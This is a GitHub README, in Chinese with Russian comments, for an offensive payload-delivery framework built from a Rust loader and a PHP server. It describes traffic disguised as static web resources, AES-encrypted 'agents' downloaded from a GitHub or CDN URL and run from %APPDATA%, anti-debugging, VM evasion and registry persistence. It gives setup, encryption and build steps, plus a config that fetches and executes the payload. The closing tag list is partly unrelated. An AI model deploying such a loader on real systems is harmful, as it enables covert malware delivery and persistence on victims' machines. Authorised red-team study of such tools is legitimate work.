FodiYes/GhostLoad

GitHub: FodiYes/GhostLoad

FodiYes/GhostLoad 是一款用于加密载荷交付和代理启动的框架。

Stars: 1 | Forks: 0

# RustLoad 用于进行授权渗透测试时交付和安全的代理启动的框架。由 Rust(客户端)和 PHP(服务器)编写。客户端和服务器之间的流量伪装成静态资源(CSS/JS/图像),代理使用 AES-256-GCM 加密。 ## ⚠️ 免责声明 本工具**仅限以下用途**: - 授权渗透测试 - 信息安全研究 - CTF 比赛 - 教育目的 作者**不承担**任何未经明确书面许可的业主系统使用本工具的责任。未经授权的使用可能违反您所在国家的法律。 ## 特点 - **Rust 客户端** — 编译为单个 .exe 文件,无依赖项,Windows x64 - **PHP 服务器** — 在任何 PHP 8.0+ 的主机上运行,已在免费主机上测试 - **流量加密** — 请求/响应伪装成 JPEG/CSS/JS - **AES-256-GCM** — 代理加密,密钥通过 HKDF 输出 - **HMAC-SHA256** 每个请求的认证(防止重放攻击) - **反调试** — 检测调试器、硬件断点、虚拟环境 - **持久性** — 可选,通过 Windows 注册表 ## 结构 ``` ├── backend/ # PHP C2-сервер │ ├── config/ │ │ ├── .env.example # Шаблон конфига (скопируй в .env) │ │ └── deployments.php # Список агентов │ ├── core/ # Логика: крипто, безопасность, логи │ └── public/ │ └── api.php # Точка входа │ ├── loader/ # Rust клиент │ └── src/ │ ├── configs/ │ └── deployment.toml.example # Шаблон конфига клиента (скопируй в deployment.toml) │ └── tools/ └── encrypt_payload.py # Шифрование агентов перед деплоем ``` ## 要求 | 组件 | 要求 | |-----------|-----------| | PHP(服务器) | 8.0+, 扩展:`openssl`, `hash`, `json` | | Rust(客户端构建) | stable, [rustup.rs](https://rustup.rs) | | Windows SDK | 用于 winapi(构建时需要) | | Python | 3.8+, 包 `cryptography` | | 目标操作系统 | Windows 10/11 x64 | ## 安装和配置 ### 1. 后端 ``` cp backend/config/.env.example backend/config/.env # 打开 .env 并填写 SECRET_KEY 和 MASTER_KEY # 生成密钥:python -c "import secrets; print(secrets.token_hex(32))" ``` 将 `backend/` 文件夹上传到主机。检查 `api.php` 是否按 URL 响应。 ### 2. 加密代理 ``` pip install cryptography # Windows set MASTER_KEY=ключ_из_.env python tools/encrypt_payload.py agent.exe agent.enc --profile my_profile --name agent # Linux/Mac MASTER_KEY=ключ_из_.env python tools/encrypt_payload.py agent.exe agent.enc --profile my_profile --name agent ``` 脚本将输出 SHA256 和用于 `deployments.php` 的准备好的块。 ### 3. 配置 deployments.php ``` return [ 'my_profile' => [ [ 'name' => 'agent', 'url' => 'https://github.com/user/repo/releases/download/v1/agent.enc', 'sha256' => 'хэш_из_скрипта', 'target' => '%APPDATA%\\Client\\agent.exe', 'run' => true, 'elevated' => false ], ], ]; ``` ### 4. 构建客户端 ``` cp configs/deployment.toml.example configs/deployment.toml # 填写 api_url、profile、api_secret cd loader cargo build --release # 已编译的二进制文件:loader/target/release/loader.exe ``` ## 工作原理 ``` client.exe ├─ антиотладка / детект VM (опционально) ├─ персистенс (опционально) └─ POST /api.php?f=css ← выглядит как CSS-запрос │ HMAC-подпись ▼ PHP сервер │ проверяет подпись + rate limit │ выдаёт ключ: HKDF(master_key, profile|name) ▼ клиент качает .enc с CDN/GitHub └─ AES-256-GCM расшифровка → запуск ``` ## 注意事项 - 在虚拟机上进行测试时,检测将触发并关闭客户端 — 在 `main.rs` 中注释掉 `anti_analysis::enforce` - `elevated: true` 将触发 UAC 提示(Windows 系统对话框,不可隐藏) - 更改 `MASTER_KEY` 将使所有之前加密的文件失效 - 如果出现问题 — 在 `main.rs` 中取消注释 `dbg_log`,日志将写入 `%TEMP%\dbg.txt` ## 许可证 MIT — 自由使用,风险自担。
标签:AES-256-GCM, DOM解析, HMAC-SHA256, meg, OpenVAS, PHP, Rust, TLS抓取, 信息安全, 加密传输, 加密通信, 反调试, 可视化界面, 安全测试, 攻击性安全, 教育工具, 网络流量审计, 软件安全, 通知系统, 静态资源伪装